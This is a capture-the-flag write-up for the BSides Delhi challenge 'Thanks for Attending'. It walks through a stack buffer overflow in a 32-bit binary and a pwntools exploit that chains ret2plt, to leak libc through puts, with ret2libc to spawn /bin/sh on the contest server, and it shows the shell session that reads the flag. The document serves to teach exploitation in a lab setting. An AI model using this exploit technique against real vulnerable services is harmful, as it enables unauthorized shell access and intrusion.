> For the complete documentation index, see [llms.txt](https://crypt0nite.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://crypt0nite.gitbook.io/writeups/ctfs/bsides-delhi/thanks-for-attending.md).

# Thanks for Attending

## Resources

{% file src="/files/-MJI\_BvRqD6bvCeltryI" %}
Thanks for Attending
{% endfile %}

## Analysis

As soon as we get the file, we see we can cause a segmentation fault:

```
$ ./chall 

It's been fun, but here we are at the final challenge!
May I know your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
It's been nice meeting you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Segmentation fault
```

Using a [De Bruijn Sequence](https://ironstone.gitbook.io/notes/types/stack/de-bruijn-sequences), we calculate the offset until the saved return pointer to be 40.

As there is no PIE, our approach will be a standard [ret2plt](https://ironstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass) followed by a [ret2libc](https://ironstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc).

## Exploitation

First for the basic setup:

```python
from pwn import *

elf = context.binary = ELF('./chall')

if args.REMOTE:
    p = remote('13.233.104.112', 2222)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc
```

Now we can start the initial ret2plt. Interestingly, the `elf.plt` dotdict does not work for some reason (some kind of parsing bug, I assume) so I had to hardcode in the PLT entries (which is fine, since there's no PIE):

```python
payload = flat(
    'A' * 40,
    0x080490a0,             # puts@PLT
    elf.sym['main'],
    elf.got['puts']
)

p.recvuntil('name?\n')
p.sendline(payload)
```

Pretty simple - 40 characters up until the saved return pointer, a call to `puts@plt` and we set `puts@got` as the parameter to this as a way of leaking libc. Finally we set the return address to the location of `main` -  allowing us to have another run with the ret2libc.

Now we just need to parse the output:

```python
p.recvline()
puts_leak = u32(p.recv(4))

log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')

p.clean()
```

Now we can finish it off with the ret2libc:

```python
payload = flat(
    'A' * 40,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)
p.interactive()
```

### Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./chall')

if args.REMOTE:
    p = remote('13.233.104.112', 2222)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc

# context.log_level = 'debug'

payload = flat(
    'A' * 40,
    0x080490a0,             # puts@PLT
    elf.sym['main'],
    elf.got['puts']
)

p.recvuntil('name?\n')
p.sendline(payload)
p.recvline()
puts_leak = u32(p.recv(4))

log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')

p.clean()

payload = flat(
    'A' * 40,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)
p.interactive()
```

## Delivering it

```
$ python3 exploit.py REMOTE

[+] Puts@libc: 0xf7dad3d0
[+] libc: 0xf7d46000
[*] Switching to interactive mode
It's been nice meeting you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]
$ ls
chall
flag
run.sh
$ cat flag
BSDCTF{3xpl0r1ng_th3_unkn0wn}
```

Flag: `BSDCTF{3xpl0r1ng_th3_unkn0wn}`
